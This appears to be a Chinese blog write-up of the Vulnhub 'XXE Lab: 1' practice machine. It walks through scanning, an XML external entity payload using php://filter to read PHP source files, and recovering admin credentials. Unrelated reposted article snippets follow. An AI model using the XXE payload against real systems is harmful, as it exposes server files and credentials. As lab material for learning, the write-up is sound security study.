Vulnhub系列靶机---XXE Lab: 1

文章目录

      • 信息收集
        • 主机发现
        • 端口扫描
        • 目录扫描
      • 漏洞利用

靶机文档:XXE Lab: 1

下载地址:Download (Mirror)

image-20230918185823631

告诉了利用点:http://your-ip/xxe

信息收集

主机发现

image-20230918185923380

端口扫描

image-20230918190240615

目录扫描

image-20230918190421593

访问robots.txt

image-20230918190510584

访问/xxe

image-20230918190622626

随意输入账密,登陆抓包

image-20230918190827135

看到登陆的格式就是XML语言的数据格式

漏洞利用

payload:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<root><name>&admin;</name><password>hj</password></root>

image-20230918192600413

将选中base64格式的数据,发送到Decoder模块,去解码

image-20230918192806522

刚才robots.txt文件里还显示有一个admin.php,尝试读取一下

image-20230918192848095

解码发现了用户名和密码

用户名:administhebest

密码解密后是admin@123

image-20230918192932509

还发现了/flagmoout.php

image-20230918192956028

先用得到的账密进行登陆

image-20230918193541551

image-20230918193600781

也跳转到了/flagmeout.php

image-20230918193623009

image-20230918193646153

base64解码后得到一串base32格式的数据

JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5

解码地址:https://www.qqxiuzi.cn/bianma/base.php

image-20230918193757664

解码后得到base64格式的

再进行base64解码,得到一个路径,再次外部实体注入

image-20230918193848566

image-20230918194122306

image-20230918194108391

image-20230918195137615

运行需要php版本较低 ,高版本会报错,导致出不来结果

php5.6在线运行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/111881.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ansible自动化:简化你的运维任务

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

【数据结构】堆的应用+TOP-K问题+二叉树遍历

欢迎来到我的&#xff1a;世界 希望作者的文章对你有所帮助&#xff0c;有不足的地方还请指正&#xff0c;大家一起学习交流 ! 目录 前言堆的时间复杂度向下调整算法的时间复杂度向上调整算法的时间复杂度 堆的应用堆排序TOP—K问题链式二叉树二叉树的节点&#xff1a;初始化节…

leetcode725. 分隔链表(java)

分隔链表 题目描述拆分链表代码演示 题目描述 给你一个头结点为 head 的单链表和一个整数 k &#xff0c;请你设计一个算法将链表分隔为 k 个连续的部分。 每部分的长度应该尽可能的相等&#xff1a;任意两部分的长度差距不能超过 1 。这可能会导致有些部分为 null 。 这 k 个部…

倾情奉献,纯css(无图,无JS)原创中秋贺卡!!!

&#x1fab4; 背景故事 中秋节马上就要到了&#xff0c;在这里我提前祝大家生活美满万年长&#xff0c;阖家幸福永平安&#xff01;&#x1f973; 好了进入正题&#xff0c;最近掘金出了一个“中秋创意投稿”活动&#xff0c;我向来对这种可以写一些具有创意性的代码的活动很…

二叉树题目:层数最深叶子结点的和

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法一思路和算法代码复杂度分析 解法二思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;层数最深叶子结点的和 出处&#xff1a;1302. 层数最深叶子结点的和 难度 4 级 题目描述 要求 给定一个二叉树…

Qt的ui文件不能简单复制

在使用vsQt开发时&#xff0c;直接复制另外一个widget类的ui文件&#xff0c;简单改名成当前类对应的ui文件&#xff0c;会导致编译出错。尽可能使用添加的Qt class自带的ui文件&#xff0c;因为ui文件的配置文件中有许多与当前类相关的字符串&#xff0c;简单复制容易报错。

FE_Vue学习笔记 - 组件的理解vue vc

1 单文件组件 在Vue应用中&#xff0c;单文件组件&#xff08;Single File Components&#xff09;是一种特殊的文件格式&#xff0c;以 .vue 为后缀&#xff0c;它允许开发者在一个文件中定义一个Vue组件的全部内容。 每个单文件组件由三个部分组成&#xff1a;template&…

Flutter插件的制作和发布

Flutter制作插件有两种方式&#xff08;以下以android和ios为例&#xff09;&#xff1a; 目录 1.直接在主工程下的android和ios项目内写插件代码&#xff1a;2.创建独立Flutter Plugin项目&#xff0c;制作各端插件后&#xff0c;再引入项目&#xff1a;1. 创建Flutter Plugin…

STL list

文章目录 一、list 类的模拟实现 list 是一个带头双向循环链表&#xff0c;可以存储任意类型 模板参数 T 表示存储元素的类型&#xff0c;Alloc 是空间配置器&#xff0c;一般不用传 一、list 类的模拟实现 iterator 和 const_iterator 除了下述不同外&#xff0c;其他代码基…

【新版】系统架构设计师 - 软件架构设计<新版>

个人总结&#xff0c;仅供参考&#xff0c;欢迎加好友一起讨论 文章目录 架构 - 软件架构设计&#xff1c;新版&#xff1e;考点摘要概念架构的 4 1 视图架构描述语言ADL基于架构的软件开发方法ABSDABSD的开发模型ABSDMABSD&#xff08;ABSDM模型&#xff09;的开发过程 软件架…

思维导图怎么画好看又简单?看看这个方法

思维导图怎么画好看又简单&#xff1f;思维导图是一种非常有用的工具&#xff0c;可以帮助我们组织和展示思维。如果你想要画出既好看又简单的思维导图&#xff0c;那么我们可以使用一些思维导图制作工具。下面就给大家介绍一款个人觉得很好用的思维导图制作工具。 【迅捷画图】…

金蝶云星空各种部署架构及适用场景分享

> 随着公司的快速发展上市到进入世界500强&#xff0c;作为技术经理&#xff0c;负责了金蝶云星空从单点部署到集群&#xff0c;再到替换SAP的过程&#xff0c;如今项目已经成功上线&#xff0c;所以对金蝶的相关知识也做下整理和归档。 > 在项目实施过程中&#xff0c;部…